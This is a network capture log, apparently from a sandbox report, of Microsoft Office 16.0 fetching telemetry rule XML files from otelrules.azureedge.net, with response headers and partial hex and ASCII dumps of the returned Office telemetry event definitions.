2024-10-24 06:51:06 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49872	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:06 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:06 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:06 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 4faef820-a01e-0053-6a4e-228603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065106Z-16849878b785f8wh85a0w3ennn000000078g00000000brqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:06 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49871	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:06 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:06 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:06 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 082c7638-801e-0067-65f2-24fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065106Z-15b8d89586f6nn8zquf2vw6t5400000004kg000000001xhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:06 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49873	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:06 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:06 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:06 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 7898325b-901e-00ac-11c9-20b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065106Z-16849878b788tnsxzb2smucwdc00000007d0000000005h5c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:06 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49874	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:06 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:06 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:06 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 333c19fd-801e-00ac-16e3-21fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065106Z-16849878b7877w64p2ge9s25rg00000000sg00000000gqgd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:06 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49875	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:06 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:06 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:06 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 62859660-b01e-003d-3dfb-24d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065106Z-15b8d89586frzkk2umu6w8qnt80000000dug000000009ahz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:06 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49877	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:07 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:07 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9658afd7-401e-008c-2df3-2486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065107Z-r197bdfb6b4kzncf21qcaynxz800000001g000000000b3qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49876	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:07 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:07 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:07 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: f29ba936-801e-0047-2ef2-247265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065107Z-r197bdfb6b4kkm8440c459r6k800000001gg000000003u1h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:07 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49878	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:07 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:07 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065107Z-r197bdfb6b4h2vctng0a0nubg80000000akg0000000018w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:07 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49879	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:07 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:07 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: cbb0b495-901e-005b-56e4-212005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065107Z-16849878b78k8q5pxkgux3mbgg000000077000000000es2k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49880	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:07 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:08 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e4dfd9e9-c01e-00ad-24f5-24a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065108Z-15b8d89586f4zwgbz365q03b0c0000000e60000000003qha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49881	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:08 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:08 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 53cb03fc-601e-0084-2ff2-246b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065108Z-r197bdfb6b4ld6jc5asqwvvz0w00000001ag0000000067c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
